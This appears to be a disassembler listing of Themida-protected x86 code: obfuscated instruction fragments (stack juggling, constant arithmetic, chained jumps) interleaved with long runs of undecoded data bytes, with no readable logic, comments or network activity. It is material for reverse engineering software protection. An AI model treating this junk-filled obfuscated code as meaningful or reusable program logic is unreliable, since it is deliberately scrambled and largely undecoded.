dd 0A9EA8166h, 0EA016672h, 0A9C28166h, 0C2816672h, 0E95D0285h
dd 0FFFF27F5h
; ---------------------------------------------------------------------------
loc_564AA8: ; CODE XREF: Themida_:005610AEj
xor ebx, esi
pop esi
or ebx, 30B8062Bh
push edi
mov edi, 670B6F9Bh
add edi, 537B1A1h
or ebx, edi
pop edi
shl ebx, 2
push ebp
mov ebp, 838583DDh
add ebx, 54A012A6h
add ebx, ebp
jmp loc_556863
; ---------------------------------------------------------------------------
dw 0E954h
dd 0FFFF6E8Ah
; ---------------------------------------------------------------------------
loc_564ADC: ; CODE XREF: Themida_:005513A5j
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add edi, 4
add edi, 4
jmp loc_560499
; ---------------------------------------------------------------------------
db 81h
dd 50A51C5h, 0E9215811h, 685Dh, 30E90000h, 8BFFFFB6h, 3BE9243Ch
db 1Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564B17: ; CODE XREF: Themida_:00551A0Ej
push eax
mov eax, 7CEB70E3h
shl eax, 2
inc eax
add eax, 0C523C73h
mov ebx, eax
pop eax
jmp loc_55F58F
; ---------------------------------------------------------------------------
dw 15Ah
dd 2434FFD5h, 4C4835Ah, 4C581h, 0C7680000h, 89000004h
dd 74FF242Ch, 2C8B0424h, 4C48324h, 8B24048Fh, 34FF2424h
dd 2434FF24h, 8124048Bh, 4C4h, 4C48300h, 0FF8329E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564B6D: ; CODE XREF: Themida_:0055A53Bj
add esp, 4
sub edx, 5E1E10FEh
add edx, 75FD0C74h
sub edx, 95832566h
jmp loc_552EB3
; ---------------------------------------------------------------------------
dw 487h
dd 85665C24h, 0C1E99CC8h, 81FFFFC4h, 4C3h, 3726800h, 0F8E90000h
dd 0BDFFFF8Bh, 1A96366h, 834C581h, 0BA685184h, 89000010h
dd 0BA522404h, 4A284C96h, 980DABB8h, 5AD03108h, 8158C529h
dd 0CA4253EAh, 21C28109h, 294C0638h, 21EA81EAh, 814C0638h
dd 0CA4253C2h, 0DFA1E909h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564BEA: ; CODE XREF: Themida_:0055EF71j
mov edx, [esp]
push ebp
mov ebp, esp
push ebx
mov ebx, 4
jmp loc_563C2A
; ---------------------------------------------------------------------------
db 29h
dd 2434FFF0h, 5124348Bh, 0F6C8E954h, 0EE81FFFEh, 0DC45371h
dd 0FF8B20E9h, 240C87FFh, 54E95D5Ch
db 1Bh, 2 dup(0FFh)
byte_564C1F db 0ACh ; DATA XREF: Themida_:00550810o
dd 0F468D830h, 89000039h, 5250240Ch, 0BDE950B6h
db 0C6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_564C33: ; CODE XREF: Themida_:0055837Aj
mov [esp], ebx
mov ebx, 7DBB08C8h
sub ebx, 7DBB08C4h
jmp loc_552F41
; ---------------------------------------------------------------------------
dw 3C31h
dd 243C3324h, 0E924248Bh, 0FFFF07A2h, 2ED8359h, 8B242C87h
dd 89662424h, 50512414h, 5E2C9EB0h, 5058C588h, 5266B8B4h
dd 0C6E9E8B2h, 81FFFFB1h, 4C4h, 205FE900h, 1E2DFFFFh, 50C494Eh
dd 0CEF3218h, 182DF029h, 50CEF32h, 0C494E1Eh, 8132E05h
dd 0FD2EE908h, 405FFFFh, 0E9000000h, 0FFFF0C9Eh
; ---------------------------------------------------------------------------
loc_564CAC: ; CODE XREF: Themida_:005559F8j
push eax
jmp loc_551D34
; ---------------------------------------------------------------------------
word_564CB2 dw 77FFh ; DATA XREF: Themida_:005508ACo
dd 19589D1Ch, 0E99C2404h, 0FFFEBCEFh
dword_564CC0 dd 240C8B66h, 0FFBD38E9h, 0CD8955FFh, 8B5DEF89h, 8956240Ch
; DATA XREF: Themida_:00550948o
dd 4C681E6h, 0E9000000h, 0FFFEC328h, 0BB045Ch, 6C3E9F0h
dd 8B5A0000h, 0C481243Ch, 4, 4BB53h, 0DF010000h, 0FEF477E9h
dd 240C8BFFh, 0FEE346E9h, 5DEE01FFh, 0FFED7AE9h, 2434FFFFh
dd 0FFC43CE9h, 240489FFh, 0FFE0D2E9h, 4BFFFh, 0C3810000h
dd 627C012Dh, 751EB81h, 0FB01780Bh, 79EF6852h, 6DE90000h
dd 89FFFF03h, 0F74D5EF5h, 0D1A9E9D5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564D4A: ; CODE XREF: Themida_:0055EF14j
jmp loc_5509AF
; ---------------------------------------------------------------------------
db 28h
dd 89E958E6h
db 17h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564D57: ; CODE XREF: Themida_:0055C3C5j
add esi, 17A578C7h
shl esi, 7
jmp loc_557DCB
; ---------------------------------------------------------------------------
loc_564D65: ; CODE XREF: Themida_:00557B20j
and ecx, ebx
jmp loc_55A896
; ---------------------------------------------------------------------------
dd 5FFA295Bh, 0E9245789h, 0FFFFEB63h, 8B242C87h, 0EBE92424h
dd 58FFFF77h, 535F5457h, 0FA73E957h, 0D0F7FFFFh, 0FEED2DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564D95: ; CODE XREF: Themida_:005522D4j
mov esi, 75991C12h
push edx
jmp loc_553BC3
; ---------------------------------------------------------------------------
dd 0FE91B753h, 0E9CFFECFh, 0FFFF4C5Bh, 0FE95366h
db 45h, 2 dup(0FFh)
byte_564DB3 db 0ADh ; DATA XREF: Themida_:005506D8o
dd 0FFB096E9h, 241C33FFh, 0C89665Ch, 0B60F6624h, 9C5166C8h
dd 0FEBBE2E9h, 368E68FFh, 1C890000h, 80E7B324h, 0EBC0CFEBh
dd 0D957E905h, 0D2BDFFFEh, 81757379h, 672AB6E5h, 38E94D5Bh
dd 66FFFFB2h, 3F0FE950h, 0DEBFFFFFh, 0E90B7664h, 0FFFEFE64h
; ---------------------------------------------------------------------------
loc_564E04: ; CODE XREF: Themida_:00564F35j
push 4283h
jmp loc_55C081
; ---------------------------------------------------------------------------
loc_564E0E: ; CODE XREF: Themida_:00565191j
mov ecx, 2E2E92F5h
jmp loc_55B565
; ---------------------------------------------------------------------------
dd 295BD801h, 78BF57D8h, 5322F342h, 0C02BE956h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_564E2A: ; CODE XREF: Themida_:00558013j
push edx
xor dword ptr [esp], 443B308Bh
pop ebp
jmp loc_55EF6B
; ---------------------------------------------------------------------------
loc_564E38: ; CODE XREF: Themida_:0055192Bj
pop ecx
sub esi, edi
pop edi
xor esi, edx
jmp loc_559A0E
; ---------------------------------------------------------------------------
db 8Fh
dd 0BD552404h, 4, 4246C01h, 81242C8Bh, 4C4h, 0C465E900h
dd 2C8BFFFFh, 5E1E924h
db 2 dup(0FFh)
word_564E66 dw 0EC83h ; DATA XREF: Themida_:00550708o
dd 24148904h, 4EF968h, 93DAE900h, 0D9F7FFFFh, 0B8B85049h
dd 319249D5h, 24048BC1h, 104C483h, 240C8BCBh, 0E904C483h
dd 0FFFF902Ah, 815FFA01h, 4ECh, 0CD82E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564EA2: ; CODE XREF: Themida_:00557DA5j
push edx
jmp loc_557972
; ---------------------------------------------------------------------------
dd 80D3EB80h, 0C328A9EBh, 0E9A9C380h, 0FFFEEC7Bh, 872DD8F7h
dd 12F184Dh, 0BD5558C1h, 98573EAh, 0FF5493E9h, 2474FFFFh
dd 0CD1DE904h, 0BD55FFFFh, 7F1618E9h, 8107EDC1h, 0A50C04F5h
dd 5DEE0106h, 24343358h, 33243431h, 248B2434h, 0EBBBE924h
dd 21BAFFFFh, 5640D837h, 0FF99F5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564F05: ; CODE XREF: Themida_:005626DBj
push edx
mov edx, 683E3559h
mov ebp, edx
pop edx
not ebp
inc ebp
push edx
mov edx, 624A1BEFh
xor edx, 303749C3h
jmp loc_551862
; ---------------------------------------------------------------------------
dw 5A5Bh
dd 0FF56D2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564F29: ; CODE XREF: Themida_:00554B37j
shr ebp, 2
push ecx
mov ecx, 70240168h
or ebp, ecx
pop ecx
jmp loc_564E04
; ---------------------------------------------------------------------------
loc_564F3A: ; CODE XREF: Themida_:00552946j
mov eax, ebx
pop ebx
pop esi
and eax, 47994E6Dh
jmp loc_555144
; ---------------------------------------------------------------------------
dd 0BD242C89h, 4, 2C8BEA01h, 4C48124h, 81000000h, 4C2h
dd 24148700h, 0FF2738E9h
db 0FFh
byte_564F69 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00550744o
dd 83240C8Bh, 50E904C4h, 0B9FFFFC1h, 40CC0FFCh, 0FFC5E9E9h
dd 0BA525EFFh, 4, 0FFF2D3E9h, 4C481FFh, 0C0000000h, 0EC8003E4h
dd 0F6D4F601h, 0D2F480DCh, 0FF93E7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564FA5: ; CODE XREF: Themida_:00563E1Dj
push esi
mov esi, esp
add esi, 4
push ebp
jmp loc_55F15C
; ---------------------------------------------------------------------------
dd 5CBF575Dh, 0E911555Ah, 0FFFF7D84h, 4BEh, 2D34E900h
dd 3C8BFFFFh, 4C48324h, 8B24048Fh, 4E92424h, 51FFFF70h
dd 5EEABB53h, 0DBF7029Dh, 472DEB81h, 564B048Fh, 0CB5990BEh
dd 5EF33184h, 18007AB9h, 8BD9297Ch, 7E9241Ch, 0F7FFFFA2h
dd 0FE2FE9DDh
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_56500A: ; CODE XREF: Themida_:005619EDj
pop ecx
jmp loc_563AE1
; ---------------------------------------------------------------------------
loc_565010: ; CODE XREF: Themida_:00558676j
mov [esp], ebx
mov ebx, 4
add ebp, ebx
push dword ptr [esp]
push dword ptr [esp]
pop ebx
jmp loc_55A16C
; ---------------------------------------------------------------------------
dw 0EA81h
dd 2BD5CF8Dh, 15AD589h, 8B04246Ch, 0C483242Ch, 24048F04h
dd 0DEB68h, 24148900h, 4EC81h, 1C890000h, 24C26824h, 51E95230h
dd 8BFFFF81h, 65E9240Ch
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56505F: ; CODE XREF: Themida_:0055F58Aj
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
push esi
push 2E250560h
push dword ptr [esp]
pop esi
add esp, 4
xor esi, 2E250564h
mov ebp, esi
mov esi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add ecx, ebp
mov ebp, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
jmp loc_55C3CA
; ---------------------------------------------------------------------------
dw 0F101h
dd 4E9815Eh, 33000000h, 0C31240Ch, 240C3324h, 242C895Ch
dd 42474FFh, 83242C8Bh, 48F04C4h, 24248B24h, 24040966h
dd 0B8C5E99Ch
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5650EA: ; CODE XREF: Themida_:00552341j
add edi, ecx
jmp loc_561AE1
; ---------------------------------------------------------------------------
db 59h, 88h, 0E5h
dd 8124048Bh, 4C4h, 0EBDAE900h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_565102: ; CODE XREF: Themida_:0055F022j
mov [esp], edi
push ecx
mov ecx, 199B09CDh
jmp loc_565CDE
; ---------------------------------------------------------------------------
loc_565110: ; CODE XREF: Themida_:005563F2j
not eax
xchg eax, edi
push edi
sub dword ptr [esp], 0FFFFFFFFh
push dword ptr [esp]
pop edi
add esp, 4
push eax
push ecx
jmp loc_5586CA
; ---------------------------------------------------------------------------
dw 15Dh
dd 0C790E9CDh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56512E: ; CODE XREF: Themida_:0055B83Aj
push ebx
mov bl, cl
mov [edi+eax*4+1], bl
pop ebx
mov ecx, [esp]
push esi
push esp
jmp loc_559D43
; ---------------------------------------------------------------------------
dd 2E9F801h
db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565147: ; CODE XREF: Themida_:005633C1j
pop dword ptr [esp]
mov esp, [esp]
and eax, edx
pop edx
or eax, eax
jz loc_5547EB
push dword ptr [edi+1Ch]
push dword ptr [esp]
pop ecx
push 6978h
mov [esp], esi
sub esp, 4
mov [esp], esp
push eax
mov eax, 9BA523Bh
sub eax, 8BC2B59h
sub eax, 0FE26DEh
jmp loc_5529F4
; ---------------------------------------------------------------------------
word_565182 dw 52ACh ; DATA XREF: Themida_:00550780o
dd 0FFADC8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565189: ; CODE XREF: Themida_:00564695j
mov [esp], edx
mov edx, 1AA56652h
jmp loc_564E0E
; ---------------------------------------------------------------------------
dw 895Ch
dd 0C8B02404h, 0C70009B7h, 582434FFh, 2C04C483h, 0A62C21h
dd 4EC81F8h, 0E9000000h, 0FFFFE034h, 1624E94Bh, 515AFFFFh
dd 2B9h, 59CF0100h, 0E9243C33h, 0FFFFADAFh, 0BE565954h
dd 40A27DB9h, 8103EEC1h, 144FB3EEh, 48E98108h, 150AB7Bh
dd 48C181F1h, 0E950AB7Bh, 0FFFF8E46h
; ---------------------------------------------------------------------------
loc_5651F4: ; CODE XREF: Themida_:005598C6j
push ecx
jmp loc_5603FC
; ---------------------------------------------------------------------------
loc_5651FA: ; CODE XREF: Themida_:005642CBj
push ecx
mov ecx, 4
sub ebx, 0F3509F0h
add ebx, ecx
jmp loc_552EEE
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 56F0E959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565216: ; CODE XREF: Themida_:00550DFCj
xor ebx, esi
mov esi, [esp]
add esp, 4
jmp loc_561414
; ---------------------------------------------------------------------------
dw 5758h
dd 54E9E789h
db 68h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56522F: ; CODE XREF: Themida_:00564218j
mov [esp], ecx
push ebx
jmp loc_551DAA
; ---------------------------------------------------------------------------
dd 0B7E9D701h, 51FFFF89h, 0FF80CCE9h, 0D1DEF7FFh, 0BBC681E6h
dd 29E2886Dh, 2434FFF3h, 0FFE5E95Eh, 0E2DFFFFh, 570480Eh
dd 0CFC1865Dh, 48BC201h, 4C48324h, 0BE5AD189h, 7F5D5B4Eh
dd 0FF2F34E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565279: ; CODE XREF: Themida_:005532BAj
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
push 9B86EB3h
jmp loc_564633
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0B9240C89h, 79FA2E9Fh, 82CE981h, 0CB011F1Bh, 592434FFh
dd 81E18951h, 4C1h, 4C18100h, 87000000h, 8B5C240Ch, 17E9243Ch
dd 0FFFFFF8Fh, 58042474h, 5C24048Fh, 5EE95351h, 89FFFECAh
dd 2CB82404h, 25788B42h, 5936756Dh, 34E4F0Dh, 24E95206h
dd 5AFFFF0Dh, 2C94C381h, 0FB0133C4h, 2C94EB81h, 335F33C4h
dd 1C31241Ch, 241C3324h, 8F9BE95Ch, 0E189FFFFh, 4C181h
dd 0C1830000h, 240C8704h, 0FED9FFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565319: ; CODE XREF: Themida_:005521CDj
not edi
xchg edi, [esp]
pop edx
dec edx
push edi
mov edi, 4C667DBDh
neg edi
jmp loc_564600
; ---------------------------------------------------------------------------
db 5, 2, 0
dd 4330000h, 24043124h, 8B240433h, 10E92424h, 1FFFFCEh
dd 0E9042454h, 0FFFF9F14h, 0D0F7D8F7h, 8B0E7B2Dh, 7CA72D1Ah
dd 0E73551C1h, 8928FE40h, 0F33158C6h, 8124348Bh, 4C4h
dd 3EEB8100h, 81588BC0h, 5D511AEFh, 55DF017Fh, 0FEE265E9h
dd 0E9BAB2FFh, 0FFFEFC47h
; ---------------------------------------------------------------------------
loc_565388: ; CODE XREF: Themida_:00551524j
pop edi
push edx
mov edx, 1F17754Bh
add ebp, edx
pop edx
inc ebp
add ebp, 0AE274775h
mov edx, ebp
pop ebp
add eax, 5ADD04D0h
add eax, edx
sub eax, 5ADD04D0h
jmp loc_5544DB
; ---------------------------------------------------------------------------
db 2Ch, 0BBh, 0E9h
dd 0FFFEED61h, 5E08950h, 4, 0FEC7D8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5653C1: ; CODE XREF: Themida_:005509E6j
mov ebp, 0A0600BCh
jmp loc_55FDF8
; ---------------------------------------------------------------------------
loc_5653CB: ; CODE XREF: Themida_:00553F8Dj
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_5557B7
; ---------------------------------------------------------------------------
db 81h
dd 265481F2h, 0B5C9E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5653EA: ; CODE XREF: Themida_:005543DDj
mov ebx, 3522E8Bh
add edx, ebx
jmp loc_558F28
; ---------------------------------------------------------------------------
dw 29BBh
dd 0E97BD576h, 0FFFF9274h
; ---------------------------------------------------------------------------
loc_565400: ; CODE XREF: Themida_:005573CEj
xchg ecx, [esp]
pop esp
mov [esp], ecx
jmp loc_5614FE
; ---------------------------------------------------------------------------
loc_56540C: ; CODE XREF: Themida_:0055D730j
inc esi
jmp loc_55B558
; ---------------------------------------------------------------------------
word_565412 dw 8B66h ; DATA XREF: Themida_:005507F8o
dd 89572404h, 4EC83E7h, 0E9241C89h, 0FFFF05E0h, 0C763E1BFh
dd 0E9F8015Fh, 0FFFEC4C3h
; ---------------------------------------------------------------------------
loc_565430: ; CODE XREF: Themida_:0055B464j
jmp loc_5509AF
; ---------------------------------------------------------------------------
db 50h, 68h, 71h
dd 0E9222B4Fh, 0FFFFD94Ah, 3304EB83h, 62E9241Ch, 89FFFEFBh
dd 0B2BBE9D8h, 0C581FFFFh, 0D2E2E7E1h, 815DEE09h, 0DB1E98CEh
dd 0FEBD5529h, 313FFF7Bh, 77095DEEh, 24348B1Ch, 81E68956h
dd 4C6h, 0DAEFE900h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_56547E: ; CODE XREF: Themida_:0055C554j
pop edi
pop edx
jmp loc_564950
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 57241C89h, 137D43BFh, 41F78153h, 8953137Dh, 0DA015FFBh
dd 0E92434FFh, 0FFFF6036h, 241C8B54h, 0E904C483h, 0FFFF9960h
dd 17DEBD55h, 0E98956A6h, 0C6BD555Dh, 11D5836h, 0A2E95DE9h
dd 81FFFEBAh, 4ECh, 243C8900h, 0A9507EBFh, 1D282D67h, 0F80177D1h
dd 0D11D2805h, 1689E977h, 0EC83FFFFh, 24248904h, 4240483h
dd 0E9243C8Bh, 0FFFF0A6Bh, 0FFC0B60Fh, 89528734h, 63F1E9E2h
dd 2C89FFFFh, 0F8D4E924h
db 2 dup(0FFh)
word_56550E dw 77FFh ; DATA XREF: Themida_:005507FCo
dd 3526681Ch, 2C890000h, 8A7BD24h, 0B8504CE7h, 4E962254h
dd 8244429h, 35BB5358h, 0E972C06Ch, 0FFFFDB46h, 0E950E289h
dd 0FFFF965Dh
dword_56553C dd 2E302DADh, 5055EEBh, 0E938DD24h, 0FFFF478Ah
; DATA XREF: Themida_:005508FCo
; ---------------------------------------------------------------------------
loc_56554C: ; CODE XREF: Themida_:005630ADj
pop eax
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_5522D9
; ---------------------------------------------------------------------------
dd 0E959CF89h, 0FFFFD838h, 8B2434FFh, 0C483241Ch, 4C48104h
dd 8F000000h, 0F75C2404h, 755768F9h, 14890000h, 0E99C5024h
dd 0FFFEB423h, 50D38853h, 0E188DC88h, 0F6E95B58h
db 11h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56559B: ; CODE XREF: Themida_:0055E3A3j
sub esp, 4
mov [esp], edi
mov edi, 5D2B5C30h
jmp loc_5553CF
; ---------------------------------------------------------------------------
dw 0BD55h
dd 2, 875DE801h, 665C2404h, 662CC668h, 66243489h, 22474FFh
dd 24348B66h, 2C481h, 8F660000h, 0D4E92404h
db 0B3h, 0FEh, 0FFh
byte_5655DB db 66h ; DATA XREF: Themida_:0055081Co
dd 6824048Bh, 2694h, 89241489h, 4C281E2h, 81000000h, 4EAh
dd 24148700h, 477E95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5655FE: ; CODE XREF: Themida_:0055D934j
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
loc_565610: ; CODE XREF: Themida_:00558607j
push 2110h
mov [esp], ecx
push esp
pop ecx
jmp loc_550DE4
; ---------------------------------------------------------------------------
db 57h
dd 0BD55E789h, 4757156Ah, 0ED814D45h, 7FB4398Ch, 0F2E9D5F7h
dd 81FFFFE8h, 974325EDh, 4EC8360h, 0BA241489h, 0A3B2941h
dd 0F705E2C1h, 7E2C1DAh, 77D7E281h, 0EA812248h, 0EAB2447Eh
dd 0E95AD509h, 0FFFEC84Bh, 5104C483h, 0FEDAAAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56566D: ; CODE XREF: Themida_:0055ED51j
jmp loc_5509AF
; ---------------------------------------------------------------------------
dw 2BBh
dd 68000000h, 7286h, 0BE243489h, 36085635h, 15EF701h, 35EF81DFh
dd 5B360856h, 0FF5A68E9h, 2434FFFFh, 8324048Bh, 0BEE904C4h
db 0BEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5656A3: ; CODE XREF: Themida_:0055922Bj
push 5A13h
mov [esp], edx
mov edx, esp
push 2870h
mov [esp], esi
jmp loc_55F6D9
; ---------------------------------------------------------------------------
dw 148Bh
dd 4C48124h, 68000000h, 5A7h, 0BB241C89h, 0D786FD9h, 0DD87EB87h
dd 0DD87D3F7h, 26E9EB87h
db 69h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5656DF: ; CODE XREF: Themida_:0055B291j
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, 57166E98h
shr eax, 3
xor eax, 0AE2CDD7h
push eax
jmp loc_5603D8
; ---------------------------------------------------------------------------
loc_565701: ; CODE XREF: Themida_:005591C7j
sub esi, 24344A44h
add esi, 23523E72h
sub esi, ecx
sub esi, 23523E72h
push eax
mov eax, 24344A44h
add esi, eax
jmp loc_557DE0
; ---------------------------------------------------------------------------
word_565722 dw 8B66h ; DATA XREF: Themida_:005507A8o
dd 2FE9240Ch
db 0B3h, 2 dup(0FFh)
byte_56572B db 66h ; DATA XREF: Themida_:00550710o
dd 0E924048Bh, 0FFFEF408h, 895DEE29h, 24348BF3h, 0A478E955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565742: ; CODE XREF: Themida_:0055479Ej
sub esp, 4
mov [esp], edi
mov edi, 77BA4753h
xor eax, edi
mov edi, [esp]
add esp, 4
jmp loc_555725
; ---------------------------------------------------------------------------
db 55h, 0BDh, 0BEh
dd 8121FC1Bh, 3828F8C5h, 3EDC166h, 0FF1B07E9h, 0E9C229FFh
dd 0FFFFBCB9h, 4C481h, 0F8290000h, 0FF4EF8E9h, 2474FFFFh
dd 241C8B04h, 0FF7435E9h, 4C483FFh, 8B243C87h, 2C892424h
dd 4EC8124h, 89000000h, 4812424h, 424h, 242C8B00h, 4C481h
dd 0BE560000h, 13173593h, 8904EC83h, 63B82404h, 837D4A25h
dd 354801C0h, 72CB48E6h, 8158C609h, 977D93EEh, 5EF5011Fh
dd 8704C583h, 248B242Ch, 9CC88524h, 0FEB1C2E9h, 4C481FFh
dd 83000000h, 0C8704C1h, 24248B24h, 0FEB1AEE9h, 240431FFh
dd 5C240433h, 2BF57h, 0BF570000h, 682D5398h, 0D3F7DF87h
dd 0F781DF87h, 0AB8C83B6h, 0F94DB005h, 2DF82972h, 72F94DB0h
dd 0FA5EE95Fh, 78E9FFFEh, 81FFFEB1h, 4C4h, 0F7515900h
dd 31592414h, 31F131CEh, 0E9F231CEh, 0FFFEF66Eh
dword_565850 dd 0FF2434FFh, 68582434h, 64EAh, 0FF65B3E9h, 5EF301FFh
; DATA XREF: Themida_:00550908o
dd 2474FF53h, 0D3FEE904h, 8159FFFEh, 1963E2C9h, 0FFC1832Eh
dd 4BADE981h, 0CE89F4BBh, 50E94659h, 51FFFFD6h, 0FFA679E9h
dd 240C89FFh, 0FF1D22E9h, 6F095DFFh, 242C8B1Ch, 4EC81h
dd 4890000h, 5E08924h, 4, 0E9E68956h, 0FFFEBCFAh, 0DE89C389h
dd 83D8E95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5658BE: ; CODE XREF: Themida_:00550B5Aj
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_565A57
; ---------------------------------------------------------------------------
loc_5658CA: ; CODE XREF: Themida_:005526D3j
mov [esp], ecx
jmp loc_557D8D
; ---------------------------------------------------------------------------
dw 3487h
dd 9441E924h, 0C181FFFFh, 509EAD54h, 0C8BC801h, 4C48124h
dd 57000000h, 3EA26855h, 4D5D1805h, 9A0F581h, 14E97E1Bh
dd 53FFFF76h, 0FF65A1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565905: ; CODE XREF: Themida_:005533AEj
sub esi, 0A0C035Bh
xor esi, 259E7499h
shr esi, 3
shr esi, 1
jmp loc_56216E
; ---------------------------------------------------------------------------
loc_56591B: ; CODE XREF: Themida_:00555C41j
sub ebx, 67EB1305h
push dword ptr [esp]
pop eax
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_554CE0
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 0E9000000h, 0FFFF889Fh
; ---------------------------------------------------------------------------
loc_565944: ; CODE XREF: Themida_:00554BFEj
mov [esp], ax
mov al, 30h
sub bl, 79h
sub bl, al
sub esp, 4
mov [esp], edx
push eax
mov ah, 0C8h
jmp loc_55723E
; ---------------------------------------------------------------------------
db 53h, 0B7h, 0D1h
dd 0FFA002E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565965: ; CODE XREF: Themida_:005558D0j
add ecx, 5F567A40h
sub ecx, 542310A3h
sub ecx, edx
add ecx, 542310A3h
sub ecx, 5F567A40h
pop edx
sub ecx, 18936CB3h
add ecx, edx
add ecx, 18936CB3h
add ecx, 63660083h
sub ecx, 72906DFh
jmp loc_563345
; ---------------------------------------------------------------------------
db 80h
dd 952CB6C2h, 9504D028h, 0DE83E95Ah
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5659AE: ; CODE XREF: Themida_:00561D89j
push 4C4Dh
mov [esp], esi
push 6849614Eh
push dword ptr [esp]
pop esi
sub esp, 4
mov [esp], ebx
jmp loc_5643D4
; ---------------------------------------------------------------------------
loc_5659CD: ; CODE XREF: Themida_:00562834j
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
sub esp, 4
jmp loc_554AD1
; ---------------------------------------------------------------------------
loc_5659DF: ; CODE XREF: Themida_:00554EB9j
add eax, edi
sub eax, 10A04EB0h
sub eax, 19771064h
pop edi
add eax, 4
xchg eax, [esp]
mov esp, [esp]
push dword ptr [esp]
pop ebx
push 76EAh
mov [esp], eax
jmp loc_551B70
; ---------------------------------------------------------------------------
loc_565A08: ; CODE XREF: Themida_:0055E2D8j
mov ebx, 43077B39h
jmp loc_552CA5
; ---------------------------------------------------------------------------
dw 0C8Bh
dd 4C48124h, 0E9000000h, 0FFFFC24Fh
; ---------------------------------------------------------------------------
loc_565A20: ; CODE XREF: Themida_:00558434j
push dword ptr [esp]
pop ecx
add esp, 4
xchg esi, [esp]
jmp loc_5528B6
; ---------------------------------------------------------------------------
db 81h
dd 9A6BF1C3h, 81C30146h, 9A6BF1EBh, 24048B46h, 4C481h
dd 0AE90000h, 58FFFEE7h, 8704ED83h, 75E9242Ch
db 9, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565A57: ; CODE XREF: Themida_:005658C5j
or edx, eax
jmp loc_5514BF
; ---------------------------------------------------------------------------
loc_565A5E: ; CODE XREF: Themida_:00555D07j
sub edx, ebx
sub edx, 21A96098h
pop ebx
jmp loc_554CF7
; ---------------------------------------------------------------------------
loc_565A6C: ; CODE XREF: Themida_:0055AB34j
push 171Eh
mov [esp], ebp
push 4486h
mov [esp], ecx
mov ecx, esp
push ebp
mov ebp, 4
add ecx, ebp
pop ebp
sub ecx, 4
jmp loc_55B4D2
; ---------------------------------------------------------------------------
db 0F6h
dd 172368D1h, 0CAE90000h, 81FFFF34h, 4C4h, 24048F00h, 0FF0542E9h
dd 243C8BFFh, 8104C483h, 4ECh, 24048900h, 42474FFh, 8324048Bh
dd 0B2E904C4h, 5CFFFFC3h, 81241C89h, 4ECh, 24148900h, 3D210568h
dd 81525A66h, 6C422434h, 815B172Dh, 2D6C42F3h, 24148B17h
dd 4C481h, 45E90000h
db 0E5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_565AF7: ; CODE XREF: Themida_:0055360Ej
or ebx, 2FF974CDh
jmp loc_55EB47
; ---------------------------------------------------------------------------
dw 6857h
dd 6D7E3067h, 8EFC15Fh, 0AFB2E957h, 0E953FFFFh, 0FFFF08BDh
dword_565B18 dd 715C68h, 240C8900h, 73DB68h, 241C8900h, 0FEBBh, 4EC8100h
; DATA XREF: Themida_:005508A4o
dd 89000000h, 0FF59241Ch, 1C8B2434h, 4C48324h, 34FF5450h
dd 0C4815824h, 4, 0FF0127E9h, 294235FFh, 0E8836AEFh, 0FDA1E901h
dd 5351FFFFh, 0C3815B54h, 4, 4EB81h, 1C870000h, 4895C24h
dd 0EBCFE924h, 515FFFFFh, 0FEC2ADE9h
